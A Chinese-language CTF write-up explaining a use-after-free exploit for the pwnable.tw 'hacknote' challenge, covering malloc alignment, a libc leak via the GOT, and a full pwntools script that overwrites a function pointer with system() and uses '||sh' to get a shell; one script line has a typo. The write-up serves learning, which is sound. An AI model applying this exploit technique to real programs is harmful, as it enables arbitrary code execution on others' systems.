0x00漏洞简介
uaf漏洞产生的主要原因是释放了一个堆块后,并没有将该指针置为NULL,这样导致该指针处于悬空的状态(有的地方翻译为迷途指针),同样被释放的内存如果被恶意构造数据,就有可能会被利用。
再怎么表述起始还不如真的拿一道题自己调自己看内存看堆状态来的好理解。这也是我觉得ctf-pwn的意义所在,可以把一些漏洞抽象出来以题的形式,作为学习这方面的一个抓手。
此篇尽量做的细致基础,但仍然假设读者已经初步了解uaf能够实现exploit的原理,例如malloc的内存优先分配机制。
当然作为一个小白,还是从一些比较直白漏洞利用单一一些的题目来理解uaf的利用姿势。
pwnable.kr这个网站基本满足这种单一直白,代码量不多也基本不需要多个漏洞一起搞,就是服务经常挂。上面有一道uaf的题,好像是利用c++虚函数表搞的
exploit-exercise也不错,不过后面的题目调试起来比较麻烦。
pwnable.tw比较难,可以作为进阶练习。
感觉如果想找一个题目作为开始,TU-CTF PWN woO这道五十分的题基本没什么坑,可以作为理解用。
这次分析一下pwnable.tw的这道hacknote,相比2016湖湘的fheap而言这道题算是纯uaf利用了,做个记录也帮助进一步理解uaf的姿势>
0x01 程序分析
丢到ida里面看下:
add note功能:
可以看到首先为ptr+note_offset 使用malloc分配了8字节的内存,分别存放函数地址0x804862b(打印content的内容)和一个指向当期那note内容content的指针。
之后会请用户输入content的size和content的内容。这里涉及到malloc分配内存时的内存对齐。(其实想要uaf来覆盖的话直接申请相同大小的内存就行了,没必要花式考虑内存对齐)
0x02 malloc内存对齐
部分摘自网络
在大多数情况下,编译器和C库透明地帮你处理对齐问题。POSIX 标明了通过malloc( ), calloc( ), 和 realloc( ) 返回的地址对于任何的C类型来说都是对齐的。这样可以避免内存中的碎片,提高程序效率。
对齐参数(MALLOC_ALIGNMENT) 大小的设定并需满足两个特性:
1)必须是2的幂
2)必须是void*的整数倍,sizeof(void*) is 4Bytes in x86 ,and 8Bytes in x64
粗粗看了下malloc的头文件定义,对齐参数MALLOC_ALIGNMENT应该为2*sizeof(void*),即32位下为8bytes,64位下为16bytes。
但是最小分配单位并不是对齐单位,同样参考glibc的malloc.h文件,最小分配单位MINSIZE:
其中MIN_CHUNK_SIZE为一个chunk结构体的大小:为16字节
计算MINSIZE=(16+8-1) & ~(8-1)=16字节
即32位下malloc的最小分配单位为16字节,64位下最小分配单位为32字节。
其中request2size就是malloc的内存对齐操作。
从request2size还可以知道,如果是64位系统,申请内存为1~24字节时,系统内存消耗32字节,当申请内存为25字节时,系统内存消耗48字节。如果是32位系统,申请内存为1~12字节时,系统内存消耗16字节,当申请内存为13字节时,系统内存消耗24字节。(类似计算MINSIZE)
0x03 泄露libc_base地址
继续分析程序的基本流程:
add note后堆的情况:
这里新建了两个note,大小分别为20和8,ptr处存放了了两个指向note结构体的指针。
struct note{
*p //指向打印函数0x080462b的指针
*content //指向note内容的指针
}
可以看到之前介绍的malloc内存对齐机制的体现:
1.一开始malloc了8字节存放note结构体,实际上为了内存对齐分配了0x804b008~0x804b017的16字节内存空间;
2.用户设置的content大小为20字节,对齐后实际为0x804b018~0x804b02b的24字节内存空间
大体的利用思路为:
add_note首先malloc出8字节来存放note结构体,接着用户输入content的size:16,这样操作两次,分配的内存大小为16/24/16/24
接着使用delete_note来释放内存:
先后delete_note(0) delete_note(1),接着add_note,增加一个content size=8,内容为'aaaaaaaa'
free后并没有置空指针,这样就造成了uaf利用。free过后的空表:
——————————————
| content0 32bytes 第一个note的content | head
—————————————— |
| struct note0 16bytes 第一个note的结构体 |
—————————————— |
|content1 32bytes 第二个note的content |
—————————————— |
|struct note1 16bytes 第二个note的结构体 |
—————————————— V tail
增加note的过程中需要做两次malloc(8)的操作,经过内存对齐后即为分配两个大小为16字节的内存,这样根据malloc的优先分配机制,从空表尾部开始寻找大小为16字节的空间。
因此新建的note2的strcut note将被分配到note1的结构体位置,note2的content将被分配到note0的结构体位置,note0八字节的结构体处分别存放了打印函数0x804862b和其参数地址,现在将被我们输入的content覆盖!
题目已经给出了libc文件,我们首先要做的就是泄露出libc加载到内存中的基址:
以read()为例,我们将指向content的指针覆盖为read在got表中的地址,这样调用print_note后就会打印出read的实际地址,利用:system_addr-libc_system=read_addr-libc_read
计算system_addr=read_addr-libc_read+libc_system
def leak_libc_base():
libc=ELF('./libc_32.so.6')
libc_read_addr=libc.symbols['read']
libc_system_addr=libc.symbols['system']
add(20,'a'*19)
add(20,'b'*19)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x804a00c))
show(0)
leak_read_addr=u32(p.recv(4))
system_addr=leak_read_addr-libc_read_addr+libc_system_addr
return system_addr
0x04 cat flag
泄露libc加载基址的过程实际上就是改编程序执行流程的过程,既然我们已经得到了system的实际地址,只需要重复相同的步骤,只是将原本0x804862b覆盖为system的地址。
这里还有一个小坑,覆盖后system的参数实际上是从note0结构体开始的,也就是p32(system_addr)+'sh',这样是无法达到system('/bin/sh')的效果的,类似的题目还有sect.ctf.rocks(比赛网站已经挂了好像是叫做SEC-T CTF一个国外的比赛)里有一道pwn50也要用到system参数截断的姿势,当时用的是&&sh,类似的还有||sh,;sh; 类似的好像在web题里也有体现(???萌新表示对web一无所知)
还有最近不知道为什么不止pwnable.kr经常挂,今天试pwnable.tw去nc的时候也gg了,暂时本地测试ok。
附上exp:
from pwn import *
p=process('./hacknote')
def add(size,data):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('1')
p.recvuntil('Note size ')
p.recvuntil(':')
p.sendline(str(size))
p.recvuntil('Content ')
p.recvuntil(':')
p.sendline(data)
def delete(index):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('2')
p.recvuntil('Index ')
p.recvuntil(':')
p.sendline(str(index))
def show(index):
p.recvuntil('Your choice ')
p.recvuntil(':')
p.sendline('3')
p.recvuntil('Index ')
p.recvuntil(':')
p.sendline(str(index))
def leak_libc_base():
libc=ELF('./libc_32.so.6')
libc_read_addr=libc.symbols['read']
libc_system_addr=libc.symbols['system']
add(20,'a'19)
add(20,'b'*19)
delete(0)
delete(1)
add(8,p32(0x804862b)+p32(0x804a00c))
show(0)
leak_read_addr=u32(p.recv(4))
system_addr=leak_read_addr-libc_read_addr+libc_system_addr
return system_addr
system_addr=leak_libc_base()
print hex(system_addr)
delete(2)
add(8,p32(system_addr)+'||sh')
#gdb.attach(p,'b * 0x8048a85')
show(0)
p.interactive()